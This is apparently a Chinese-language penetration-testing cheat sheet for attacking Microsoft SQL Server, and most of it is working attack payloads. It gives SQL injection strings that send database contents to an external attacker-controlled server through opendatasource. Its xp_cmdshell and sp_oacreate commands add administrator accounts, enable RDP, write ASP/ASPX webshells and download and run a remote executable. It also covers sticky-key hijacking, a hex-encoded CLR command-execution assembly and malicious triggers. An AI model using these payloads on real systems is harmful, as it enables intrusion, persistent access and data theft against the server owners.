id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--

反弹注入

反弹注入条件相对苛刻一些,一是需要一台搭建了mssql数据库的vps服务器,二是需要开启堆叠注入。

反弹注入需要使用opendatasource函数。

OPENDATASOURCE(provider_name,init_string)

使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。

基本流程

连接vps的mssql数据库,新建表test,字段数与类型要与要查询的数据相同。

 CREATE TABLE test(name VARCHAR(255))

获取数据库所有表,使用反弹注入将数据注入到表中,注意这里填写的是数据库对应的参数,最后通过空格隔开要查询的数据。

 # 查询sysobjects表
?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.sysobjects where xtype='U' --+

# 查询information_schema数据库
?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select table_name from information_schema.tables--+

# 查询information_schema数据库
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select column_name from information_schema.columns where table_name='admin'--+

# 查询syscolumns表
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.syscolumns where id=1977058079--+

MSSQL GetShell

扩展存储过程

扩展存储简介

在MSSQL注入攻击过程中,最长利用的扩展存储如下:

扩展存储过程

说明

xp_cmdshell

直接执行系统命令

sp_OACreate()

直接执行系统命令

sp_OAMethod()

直接执行系统命令

xp_regread

进行注册表读取

xp_regwrite

写入到注册表

xp_dirtree

进行列目录操作

xp_ntsec_enumdomains

查看domain信息

xp_subdirs

通过xp_dirtree,xp_subdirs将在一个给定的文件夹中显示所有子文件夹

xp_cmdshell详细使用方法:

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止 。如果用户拥有管理员sysadmin 权限则可以用sp_configure重新开启它

execute('sp_configure "show advanced options",1')  # 将该选项的值设置为1
execute('reconfigure')                             # 保存设置
execute('sp_configure "xp_cmdshell", 1')           # 将xp_cmdshell的值设置为1
execute('reconfigure')                             # 保存设置
execute('sp_configure')                            # 查看配置
execute('xp_cmdshell "whoami"')                    # 执行系统命令

exec sp_configure 'show advanced options',1;       # 将该选项的值设置为1
reconfigure;                                       # 保存设置
exec sp_configure 'xp_cmdshell',1;                 # 将xp_cmdshell的值设置为1
reconfigure;                                       # 保存设置
exec sp_configure;                                 # 查看配置
exec xp_cmdshell 'whoami';                         # 执行系统命令

# 可以执行系统权限之后,前提是获取的主机权限是administrators组里的或者system权限
exec xp_cmdshell 'net user Guest 123456'           # 给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes'      # 激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add'  # 将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'  # 开启3389端口

扩展存储Getshell

条件

1.数据库是 db_owner 权限

2.扩展存储必须开启,涉及到的的扩展存储过程: xp_cmdshell、 xp_dirtree、 xp_subdirs、 xp_regread

1.查看是否禁用扩展存储过程xp_cmdshell
id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+
id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+

2.执行命令
id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+
id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+

差异备份GetShell

差异备份简介

差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份称asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。

前提条件

具有db_owner权限

知道web目录的绝对路径

寻找绝对路径的方法

报错信息

字典爆破

根据旁站目录进行推测

存储过程来搜索

在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshell xp_dirtree

先来看xp_dirtree直接举例子

execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;

当利用xp_cmdshell时,其实就是调用系统命令来寻找文件

例如:

?id=1;CREATE TABLE cmdtmp (dir varchar(8000));
?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'

读配置文件

差异备份的大概流程

1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--+

**2.创建表并插入数据**
create table [dbo].[dtest] ([cmd] [image]);--+
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+

**3.进行差异备份**
backup database 库名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+

# 上面0x3C25657865637574652872657175657374282261222929253E即一句话木马的内容:<%execute(request("a"))%>

xp_cmdshell GetShell

原理很简单,就是利用系统命令直接像目标网站写入木马

?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;

这里要注意 <>必须要转义,转义不是使用\而是使用^

文件下载getshell

当我们不知道一些网站绝对路径时,我们可以通过文件下载命令,加载远程的木马文件,或者说.ps1脚本,使目标机器成功上线cs或者msf

MSSQL提权

存储过程说明

xp_dirtree

用于显示当前目录的子目录,有如下三个参数

directory:表示要查询的目录

depath:要显示子目录的深度,默认值是0,表示所有的子目录

file:第三个参数,布尔类型,指定是否显示子目录中的文件,默认值是0,标水不显示任何文件,只显示子目录

Bild


Bild



Bild


xp_dirtree 能够触发NTLM请求xp_dirtree '\\\any\thing'

xp_subdirs

用于得到给定的文件夹内的文件夹列表

exec xp_subdirs 'c:\'

Bild


xp_fixeddrives

用于查看磁盘驱动器剩余的空间

exec xp_fixeddrives

Bild


xp_availablemedia

用于获得当前所有的驱动器

exec xp_availablemedia

Bild


xp_fileexist

用于判断文件是否存在

exec xp_fileexist 'c:\windows\123.txt'

Bild


Bild


xp_create_subdir

用于创建子目录,参数是子目录的路径

exec xp_create_subdir 'c:\users\admin\desktop\test'

Bild


xp_delete_file

可用于删除文件,但是不会删除任意类型的文件,系统限制它只能删除特定类型(备份文件和报表文件)

第一个参数是文件类型(File Type),有效值是0和1,0是指备份文件,1是指报表文件;

第二个参数是目录路径(Folder Path), 目录中的文件会被删除,目录路径必须以“\”结尾;

第三个参数是文件的扩展名(File Extension),常用的扩展名是'BAK' 或'TRN';

第四个参数是Date,早于该日期创建的文件将会被删除;

第五个参数是子目录(Subfolder),bool类型,0是指忽略子目录,1是指将会删除子目录中的文件;

xp_regenumkeys

可以查看指定的注册表

exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'

Bild


xp_regdeletekey

删除指定的注册表键值

EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';

xp_regwrite

描述:

修改注册表

利用条件:

xpstar.dll

修改注册表来劫持粘贴键(映像劫持)

(测试结果 Access is denied,没有权限)
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'


sp_addextendedproc

可以用于恢复组件

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'

sp_dropextendedproc

用于删除扩展存储过程

exec sp_dropextendedproc 'xp_cmdshell'

xp_cmdshell

描述:

xp_cmdshell 是 Sql Server 中的一个组件,我们可以用它来执行系统命令。

利用条件:

拥有 DBA 权限, 在 2005 中 xp_cmdshell 的权限是 system,2008 中是 network。

依赖 xplog70.dll

-- 判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');

-- 查看是否存在 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- 查看能否使用 xp_cmdshell,从MSSQL2005版本之后默认关闭
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'

-- 关闭 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

-- 开启 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

-- 执行 xp_cmdshell
exec xp_cmdshell 'cmd /c whoami'

-- xp_cmdshell 调用cmd.exe用powershell 远程下载exe并执行
exec xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell  -ExecutionPolicy Bypass  %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'

无回显,也无法进行dnslog怎么办:

通过临时表查看命令执行结果(在注入时,要能堆叠)

CREATE TABLE tmpTable (tmp1 varchar(8000));
insert into tmpTable(tmp1) exec xp_cmdshell 'ipconfig'
select * from tmpTable

如果 xp_cmdshell 被删除了:

如果 xp_cmdshell 被删除了,需要重新恢复或自己上传 xplog70.dll 进行恢复

以mssql2012为例,默认路径为:

C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll

-- 判断存储扩展是否存在,返回结果为1就OK
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

-- 恢复xp_cmdshell,返回结果为1就OK
Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll';
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

-- 否则上传xplog70.dll
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

sp_oacreate

描述:

使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。

利用条件:

拥有DBA权限

依赖odsole70.dll

-- 判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');

-- 判断SP_OACREATE状态,如果存在返回1
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

-- 启用 sp_oacreate
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures', 1;
reconfigure;

-- wscript.shell组件执行系统命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;

-- 输出执行结果到指定文件
declare @ffffffff0x int
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\www\\1.txt'

-- 利用com组件执行命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;

-- 利用com组件写文件
DECLARE @ObjectToken INT;
EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}',@ObjectToken OUTPUT;
EXEC Sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_oamethod @ObjectToken, 'Open';
EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x66666666666666663078;
EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL,'ffffffff0x.txt',2;
EXEC sp_oamethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;

-- 利用filesystemobject写vb脚本 (目录必须存在,否则也会显示成功,但是没有文件写入)
declare @o int, @f int, @t int, @ret int,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah'declare @o int, @f int, @t int, @ret int,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah(这里是文件写入的内容)'

-- 配合 wscript.shell 组件执行
DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out
EXEC sp_oamethod @s,[run],NULL,[c:\\www\\ffffffff0x.vbs]

-- 复制具有不同名称和位置的 calc.exe 可执行文件 (测试未成功)
declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\calc_copy.exe';

-- 移动文件 (测试好像只有 利用写入的VB脚本才能创建)
declare @ffffffff0x int
exec sp_oacreate 'scripting.filesystemobject',@ffffffff0x out
exec sp_oamethod @ffffffff0x,'movefile',null,'c:\\www\\1.txt','c:\\www\\3.txt'

-- 替换粘滞键
declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\sethc.exe';

declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe'

-- 使用JavaScript创建账户,更改其密码并将新账号添加到管理员组 (测试未成功)
declare @ffffffff0x int
EXEC sp_OACreate 'ScriptControl',@ffffffff0x OUT
EXEC sp_OASetProperty @ffffffff0x, 'Language','JavaScript'
EXEC sp_OAMethod @ffffffff0x, 'Eval', NULL,'var o=new ActiveXObject("Shell.Users");z=o.create("testuser");z.changePassword("123456!@#","");z.setting("AccountType")=3;';

SQL Server Agent Job 代理执行计划任务

描述:

SQL Server 代理是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务在 SQL Server 中称为作业。

利用条件:

拥有 DBA 权限

需要 sqlserver 代理 (sqlagent) 开启,Express 版本Sql Server 是无法启用的

-- 开启 sqlagent 服务 (还是没有权限,很纳闷,sa账户登录 还没权限)
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';

-- 利用任务计划命令执行(无回显,可以 dnslog)
-- 创建任务 test,这里test为任务名称,并执行命令,命令执行后的结果,将返回给文本文档out.txt

use msdb;
exec sp_delete_job null,'test'
exec sp_add_job 'test'
exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/out.txt"'
exec sp_add_jobserver null,'test',@@servername
exec sp_start_job 'test';

CLR提权

描述:

从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。
-
MDUT 中的16进制的dll

dll的制作可以参考下面的文章

<a href="https://xz.aliyun.com/t/10955#toc-12" h"="">https://xz.aliyun.com/t/10955#toc-12

利用条件:

拥有DBA权限

-- 启用CLR,SQL Server 2017版本之前
sp_configure 'show advanced options',1;RECONFIGURE; -- 显示高级选项
sp_configure 'clr enabled',1;RECONFIGURE; -- 启用CLR
ALTER DATABASE master SET TRUSTWORTHY ON; -- 将存储.Net程序集的数据库配置为可信赖的

-- 启用CLR,SQL Server 2017版本及之后,引入了严格的安全性,可以选择根据提供的 SHA512 散列专门授予单个程序集的 UNSAFE 权限
sp_configure 'show advanced options',1;RECONFIGURE;
sp_configure 'clr enabled',1;RECONFIGURE;
sp_add_trusted_assembly @hash=; -- 将某程序集的SHA512哈希值添加到可信程序集列表中

-- 配置 EXTERNAL ACCESS ASSEMBLY 权限, test 是我指定的数据库
EXEC sp_changedbowner 'sa'
ALTER DATABASE [test] SET trustworthy ON

-- 导入CLR插件

CREATE ASSEMBLY [mssql_CLR]  AUTHORIZATION [dbo]  FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300660705620000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402360006002102360006002700E401000000002D00000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000004000000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F006D7373716C5F434C520053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468006D7373716C5F434C522E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A00200000005E54E0227F5F5E409B9302C5EA5F62E7000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006607056200000000020000001C010000E42A0000E40C000052534453F12CF9670467FE4789AA4C0BB3C9132401000000433A5C55736572735C546573745C736F757263655C7265706F735C6D7373716C5F434C525C6D7373716C5F434C525C6F626A5C44656275675C6D7373716C5F434C522E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  WITH PERMISSION_SET = UNSAFE;GO

-- 创建CLR函数
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand]
go

-- 利用CLR执行系统命令
exec dbo.ExecCommand "whoami /all";

------------------------------------------------------------------------------------------------------------------------------

-- 格式简化
-- 导入CLR插件
CREATE ASSEMBLY [clrdata]
AUTHORIZATION [dbo]
FROM 0x16进制的dll
WITH PERMISSION_SET = UNSAFE;

-- 创建CLR函数
CREATE PROCEDURE [dbo].[testclrexec]
@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)
AS EXTERNAL NAME [clrdata].[StoredProcedures].[testclrexec]

-- 利用CLR执行系统命令
exec testclrexec 'cmdexec',N'whoami'

触发器提权

触发器是一种特殊类型的存储过程,它不同于存储过程。触发器主要是通过事件进行触发被自动调用执行的。而存储过程可以通过存储过程的名称被调用。

SqlServer 包括三种常规类型的触发器:DML 触发器、DDL 触发器和登录触发器

登录触发器:

登录触发器将为响应 LOGIN 事件而激发存储过程。与 SQL Server 实例建立用户会话时将引发此事件。登录触发器将在登录的身份验证阶段完成之后且用户会话实际建立之前激发。因此,来自触发器内部且通常将到达用户的所有消息(例如错误消息和来自 PRINT 语句的消息)会传送到 SQL Server 错误日志。如果身份验证失败,将不激发登录触发器。

-- 设置一个触发器 ffffffff0x,当 user 表更新时触发命令 (user 表 必须存在,且 容易 卡死 因为这个calc在运行 查询就不会停止)
set ANSI_NULLS on
go
set QUOTED_IDENTIFIER on
go
create trigger [ffffffff0x]
on [user]
AFTER UPDATE as
begin
    execute master..xp_cmdshell 'cmd.exe /c calc.exe'
end
go

-- user 表 update 更新时,自动触发
UPDATE user SET id = '22' WHERE nickname = 'f0x'

SQL Server R 和 Python 的利用

描述

在 SQL Server 2017 及更高版本中,R 与 Python 一起随附在机器学习服务中。该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本

利用条件:

Machine Learning Services 必须要在 Python 安装过程中选择

必须启用外部脚本

EXEC sp_configure 'external scripts enabled', 1

RECONFIGURE WITH OVERRIDE

重新启动数据库服务器

用户拥有执行任何外部脚本权限

-- R脚本利用
-- 利用 R 执行命令
sp_configure 'external scripts enabled'
GO
